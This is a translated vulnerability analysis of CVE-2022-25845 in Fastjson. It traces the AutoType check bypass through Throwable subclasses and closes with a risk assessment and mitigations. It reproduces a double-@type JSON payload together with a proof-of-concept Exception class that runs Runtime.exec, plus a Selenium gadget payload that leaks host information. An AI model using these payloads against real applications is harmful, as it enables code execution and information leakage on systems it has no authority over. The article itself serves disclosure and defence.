CVE-2022-25845 – Fastjson “Auto Type Bypass” RCE漏洞分析

本文已獲取原作者 Uriya Yavnieli 授權(quán)。如有錯(cuò)誤,歡迎指正。

前言

幾周前, Fastjson 發(fā)布了一個(gè)新版本 (1.2.83) ,其中包含一項(xiàng)安全漏洞修復(fù)。據(jù)稱(chēng)攻擊者可以利用此漏洞在遠(yuǎn)程機(jī)器上執(zhí)行代碼。根據(jù)發(fā)布的多篇文章,攻擊者通過(guò)漏洞可以繞過(guò)Fastjson中的“AutoTypeCheck”機(jī)制,完成遠(yuǎn)程代碼執(zhí)行。

這個(gè) Fastjson 漏洞最近才收到一個(gè) CVE 漏洞標(biāo)識(shí)符 – CVE-2022-25845,以及高達(dá)8.1的CVSS漏洞評(píng)分。盡管如此,這個(gè)漏洞仍撲朔迷離。盡管這是被宣稱(chēng)為在無(wú)處不在的組件中存在的一個(gè)高危RCE漏洞(將近5000個(gè)Maven項(xiàng)目都存在Fastjson依賴(lài)!),卻幾乎沒(méi)有任何關(guān)于它的公開(kāi)技術(shù)細(xì)節(jié)。到底是哪里存在漏洞,又是在什么條件下容易被攻擊?

在本篇文章中,我們深入研究了這個(gè)Fastjson漏洞的嚴(yán)重性,以及那些類(lèi)型的Java應(yīng)用程序受此影響。文末是給目前無(wú)法升級(jí)到指定Fastjson版本的開(kāi)發(fā)人員的一些策略建議。

哪些情況會(huì)受到CVE-2022-25845漏洞的影響?

所有依賴(lài) Fastjson 版本 1.2.80 或更早版本的程序,在應(yīng)用程序中如果包含使用用戶(hù)數(shù)據(jù)調(diào)用 JSON.parseJSON.parseObject 方法,但不指定要反序列化的特定類(lèi),都會(huì)受此漏洞的影響。

存在潛在風(fēng)險(xiǎn)的API和安全API的不完全示例.png

雖然看起來(lái)很寬泛,但是我們可以發(fā)現(xiàn),在這些前提條件下,攻擊者也只能通過(guò)這個(gè)漏洞調(diào)用特定類(lèi)型的Java反序列化gadget(繼承Throwable類(lèi)的gadget類(lèi)),這大大限制了這個(gè)漏洞的實(shí)際影響。

技術(shù)深入探究

Fastjson 是一個(gè) Java 庫(kù),可以將 Java 對(duì)象序列化和反序列化,實(shí)現(xiàn)Java對(duì)象和JSON的相互轉(zhuǎn)換。

和大多數(shù) JSON 類(lèi)一樣,F(xiàn)astjson 支持將基本 JSON 類(lèi)型(數(shù)組和對(duì)象)分別序列化和反序列化為它們的 Java 等價(jià)對(duì)象——Arrays 和 Maps。

然而,F(xiàn)astjson也可以將用戶(hù)的Java對(duì)象(POJO)序列化為JSON,或從JSON反序列化為Java對(duì)象。

例如,我們定義了一個(gè)名為User的類(lèi),以下代碼時(shí)將其進(jìn)行序列化為JSON,然后再進(jìn)行反序列化。

public class App
{
    public static void main( String[] args )
    {
        ...
  String jsonString = JSON.toJSONString(user);
  User user2 = JSON.parseObject(jsonString, User.class);
    }
}

JSON.parseObject()返回一個(gè) JSONObject 對(duì)象, 然后這個(gè)對(duì)象又轉(zhuǎn)換為User類(lèi)。

有時(shí)候,開(kāi)發(fā)人員想要更靈活的代碼來(lái)接收序列化的JSON,告訴代碼JSON應(yīng)該被反序列化為哪種類(lèi)。例如下面這種JSON形式:

    "users": [
        {
            "@type": "AdminUser",
            "username": "admin",
            "password": "21232f297a57a5a743894a0e4a801fc3"
        },
        {
            "@type": "GuestUser",
            "username": "guest",
            "password": ""
        }
    ]
}

Fastjson 支持一個(gè)名為“AutoType”的功能。啟用該功能后,可以為每個(gè)用戶(hù)entry引入類(lèi)型。開(kāi)發(fā)人員只需要調(diào)用如下代碼:

JSONObject obj = JSON.parseObject(jsonString, Feature.SupportAutoType);
JSONArray users = (JSONArray)obj.get("users");
// Users[0] is of class type "AdminUser"
// Users[1] is of class type "GuestUser"

但是,如果反序列化的JSON是用戶(hù)可以控制的,則在啟用AutoType的情況下對(duì)其進(jìn)行解析可能會(huì)出現(xiàn)反序列化安全問(wèn)題。因?yàn)楣粽呖梢詫?shí)例化Classpath上可用的任意類(lèi),并為類(lèi)的構(gòu)造函數(shù)提供任意參數(shù)。這個(gè)問(wèn)題已經(jīng)被很多次證實(shí)確實(shí)可以利用,并且例如ysoserial之類(lèi)的框架就存在這里攻擊手段的風(fēng)險(xiǎn)(Java的“gadget”類(lèi))。

因此,F(xiàn)astjson的開(kāi)發(fā)者選擇默認(rèn)禁用了AutoType功能,這應(yīng)該能夠安全地解析人員JSON數(shù)據(jù)了。但是,AutoType的機(jī)制比這復(fù)雜得多...

繞過(guò) AutoType 默認(rèn)禁用策略

當(dāng)JSON.parseObject()被調(diào)用時(shí),它最終會(huì)調(diào)用到 DefaultJSONParser.parseObject(),并且傳入?yún)?shù) object 為 JSONObject,fieldName 為 null。當(dāng)這個(gè)方法遇到“@type”這個(gè)符號(hào)(JSON.DEFAULT_TYPE_KEY)時(shí),就會(huì)調(diào)用config.checkAutoType:

if (key == JSON.DEFAULT_TYPE_KEY
        && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    String typeName = lexer.scanSymbol(symbolTable, '"');

    if (lexer.isEnabled(Feature.IgnoreAutoType)) {
        continue;
    }

最終,在所有flag都是默認(rèn)的情況下,代碼會(huì)調(diào)用至config.checkAutoType()。在這里,我們可以看到因?yàn)楸涣腥牒诿麊味鵁o(wú)法通過(guò)AutoType 機(jī)制實(shí)例化的類(lèi)列表。

if (expectClass == null) {
            expectClassFlag = false;
        } else {
            long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
            if (expectHash == 0x90a25f5baa21529eL
                    || expectHash == 0x2d10a5801b9d6136L
                    || expectHash == 0xaf586a571e302c6bL
                    || expectHash == 0xed007300a7b227c6L
                    || expectHash == 0x295c4605fd1eaa95L
                    || expectHash == 0x47ef269aadc650b4L
                    || expectHash == 0x6439c4dff712ae8bL
                    || expectHash == 0xe3dd9875a2dc5283L
                    || expectHash == 0xe2a8ddba03e69e0dL
                    || expectHash == 0xd734ceb4c3e9d1daL
            ) {
                expectClassFlag = false;
            } else {
                expectClassFlag = true;
            }
        }

這些被Ban的類(lèi)是以下這些:

  • java.lang.Object
  • java.io.Serializable
  • java.lang.Cloneable
  • java.lang.Runnable
  • java.lang.AutoCloseable
  • java.io.Closeable
  • java.lang.Iterable
  • java.util.Collection
  • java.lang.Readable
  • java.util.EventListener

你也可以在 fastjson-blacklist 查看到更多被列入黑名單的類(lèi)。這個(gè)倉(cāng)庫(kù)維護(hù)了被列入Fastjson黑名單的類(lèi)的hash值。

最后,代碼將嘗試找到一個(gè)反序列化器deserializer,用來(lái)對(duì)這個(gè)已經(jīng)被JSON序列化的類(lèi)進(jìn)行反序列化。

ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
    && deserClass != JavaBeanDeserializer.class
    && deserClass != ThrowableDeserializer.class) {
    this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
    this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);

ParserConfig.getDeserializer()內(nèi)部,有一個(gè)關(guān)鍵檢查,用于驗(yàn)證目標(biāo)類(lèi)是否繼承了 Throwable 類(lèi):

} else if (Throwable.class.isAssignableFrom(clazz)) {
    deserializer = new ThrowableDeserializer(this, clazz);

ThrowableDeserializer.deserialize()會(huì)處理這種數(shù)據(jù)。如果存在“@type”,它將使用 autoTypeCheck()檢查并繼續(xù)正常反序列化:

if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
    if (lexer.token() == JSONToken.LITERAL_STRING) {
        String exClassName = lexer.stringVal();
        exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());

因此,漏洞的核心在于 ,只要目標(biāo)類(lèi)繼承自 Throwable 類(lèi),F(xiàn)astjson便可以反序列化為任意類(lèi)!

在這種情況下,負(fù)責(zé)創(chuàng)建反序列化類(lèi)的函數(shù)是 createException(),它處理了 3 種不同類(lèi)型的構(gòu)造函數(shù)。一個(gè)沒(méi)有任何參數(shù),一個(gè)帶有異常消息的參數(shù),一個(gè)帶有異常消息和異常原因參數(shù)。在此之后,它將先嘗試調(diào)用更為復(fù)雜的構(gòu)造函數(shù)(causeConstructor、messageConstructor 和 defaultConstructor):

private Throwable createException(String message, Throwable cause, Class<?> exClass) throws Exception {
        Constructor<?> defaultConstructor = null;
        Constructor<?> messageConstructor = null;
        Constructor<?> causeConstructor = null;
        for (Constructor<?> constructor : exClass.getConstructors()) {
            Class<?>[] types = constructor.getParameterTypes();
            if (types.length == 0) {
                defaultConstructor = constructor;
                continue;
            }

            if (types.length == 1 && types[0] == String.class) {
                messageConstructor = constructor;
                continue;
            }

            if (types.length == 2 && types[0] == String.class && types[1] == Throwable.class) {
                causeConstructor = constructor;
                continue;
            }
        }

        if (causeConstructor != null) {
            return (Throwable) causeConstructor.newInstance(message, cause);
        }

        if (messageConstructor != null) {
            return (Throwable) messageConstructor.newInstance(message);
        }

        if (defaultConstructor != null) {
            return (Throwable) defaultConstructor.newInstance();
        }

作為類(lèi)實(shí)例化的一步,還會(huì)為每個(gè)相關(guān)成員變量調(diào)用一個(gè) setter方法:

if (otherValues != null) {
    JavaBeanDeserializer exBeanDeser = null;

    if (exClass != null) {
        if (exClass == clazz) {
            exBeanDeser = this;
        } else {
            ObjectDeserializer exDeser = parser.getConfig().getDeserializer(exClass);
            if (exDeser instanceof JavaBeanDeserializer) {
                exBeanDeser = (JavaBeanDeserializer) exDeser;
            }
        }
    }

    if (exBeanDeser != null) {
        for (Map.Entry<String, Object> entry : otherValues.entrySet()) {
            String key = entry.getKey();
            Object value = entry.getValue();

            FieldDeserializer fieldDeserializer = exBeanDeser.getFieldDeserializer(key);
            if (fieldDeserializer != null) {
                FieldInfo fieldInfo = fieldDeserializer.fieldInfo;
                if (!fieldInfo.fieldClass.isInstance(value)) {
                    value = TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig());
                }
                fieldDeserializer.setValue(ex, value);
            }
        }
    }
}

怎么利用 CVE-2022-25845 漏洞?

在了解了AutoType 機(jī)制中的上述“漏洞”之后,讓我們看看一個(gè)在現(xiàn)實(shí)中利用這個(gè)漏洞的可行性。這個(gè)漏洞據(jù)稱(chēng)可以實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。

YoungBear 發(fā)布的漏洞利用方案,通過(guò)傳入這個(gè)JSON可以運(yùn)行任意系統(tǒng)操作命令。

{
    "@type": "java.lang.Exception",
    "@type": "com.example.fastjson.poc20220523.Poc20220523",
    "name": "calc"
}

這個(gè)漏洞利用方案依賴(lài)于在 Java 應(yīng)用程序中定義的下面這個(gè)繼承Exception的類(lèi):

package com.example.fastjson.poc20220523;

import java.io.IOException;

/**
 * @author youngbear
 * @email youngbear@aliyun.com
 * @date 2022/5/29 8:28
 * @blog https://blog.csdn.net/next_second
 * @github https://github.com/YoungBear
 * @description POC類(lèi):需要代碼中有該類(lèi)
 */
public class Poc20220523 extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

當(dāng)反序列化執(zhí)行到上面這一段JSON時(shí),Poc20220523這個(gè)類(lèi)就創(chuàng)建了,并且提供name參數(shù)是通過(guò)自動(dòng)調(diào)用setter方法。

如代碼所示,這將最終調(diào)用包含 str = “calc”的惡意 setName() setter 函數(shù):

public void setName(String str) {
    try {
        Runtime.getRuntime().exec(str);
    } catch (IOException e) {
        e.printStackTrace();
    }
}

這部分的實(shí)際代碼內(nèi)容為打開(kāi)windows計(jì)算器:

calc.png

這個(gè)漏洞利用方案顯然只是一個(gè)演示,因?yàn)槿魏握5?Java 應(yīng)用程序都不會(huì)包含類(lèi)似于 Poc20220523 這樣會(huì)基于外部參數(shù)運(yùn)行 shell 命令的異常派生類(lèi)。

現(xiàn)在亟待解決的問(wèn)題是 — 是否有大家熟知的 Java“gadget”類(lèi)可以作為此漏洞的一部分被濫用?即繼承自Exception或Throwable,并且存在相關(guān)的構(gòu)造函數(shù)或者setter方法,可能會(huì)造成實(shí)際安全影響的Java類(lèi)。

目前,有一個(gè)兼容的gadget類(lèi)(來(lái)自 Selenium 庫(kù))已經(jīng)在被發(fā)布了。它會(huì)導(dǎo)致非常低影響的數(shù)據(jù)泄漏:

{
    "x":{
      "@type":"java.lang.Exception",
      "@type":"org.openqa.selenium.WebDriverException"
    },
    "y":{
      "$ref":"$x.systemInformation"
    }
}

反序列化這個(gè) JSON 最終會(huì)創(chuàng)建一個(gè) HashMap,其中“y”值為有關(guān)機(jī)器的一些基本信息:

"System info: host: '', ip: '', os.name: '', os.arch: '', os.version: '', java.version: ''"

根據(jù)應(yīng)用程序的不同,這些信息最終可能會(huì)被存儲(chǔ)或發(fā)送給攻擊者(例如,它可能被寫(xiě)入可遠(yuǎn)程訪(fǎng)問(wèn)日志)。

在檢查了 ysoserial 等其他知名來(lái)源后,我們沒(méi)有發(fā)現(xiàn)任何可以在實(shí)際場(chǎng)景中能夠?qū)е逻h(yuǎn)程代碼執(zhí)行的gadget類(lèi)。因此,想要利用這個(gè)漏洞進(jìn)行實(shí)際攻擊的黑客,需要對(duì)被共計(jì)的Java應(yīng)用服務(wù)器進(jìn)行深入研究,以找到一個(gè)加載在Classpath中的自定義的Java gadget類(lèi)。這個(gè)類(lèi)繼承自Exception/Throwable,并包含可用于獲取權(quán)限、泄漏數(shù)據(jù)甚至運(yùn)行任意代碼的相關(guān)方法。

總而言之,我們?cè)u(píng)估目前這個(gè)漏洞似乎并未構(gòu)成很高風(fēng)險(xiǎn)的威脅。盡管存在一個(gè)潛在影響巨大(遠(yuǎn)程代碼執(zhí)行)的公共PoC漏洞可利用,并且攻擊的條件并不是甚微(將不受信任的輸入數(shù)據(jù)傳遞給特定易受攻擊的 API)。最重要的是,必須找到一個(gè)合適的gadget類(lèi)(或許由于一些不太可能的屬性根本不存在)來(lái)突破特定被攻擊的目標(biāo)。

如何完全修復(fù) CVE-2022-25845?

要完全修復(fù) CVE-2022-25845,我們建議將 Fastjson 升級(jí)到最新版本,目前為 1.2.83。

如何降低 CVE-2022-25845 風(fēng)險(xiǎn)?

啟用 Fastjson 的“Safe Mode”可以減緩這個(gè)漏洞風(fēng)險(xiǎn)。

可以通過(guò)執(zhí)行以下任何一種操作來(lái)開(kāi)啟Safe Mode:

  1. 通過(guò)代碼配置 ParserConfig.getGlobalInstance().setSafeMode(true);
  2. 通過(guò)JVM啟動(dòng)參數(shù)配置 -Dfastjson.parser.safeMode=true
  3. 通過(guò)Fastjson的配置文件配置項(xiàng) fastjson.parser.safeMode=true
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容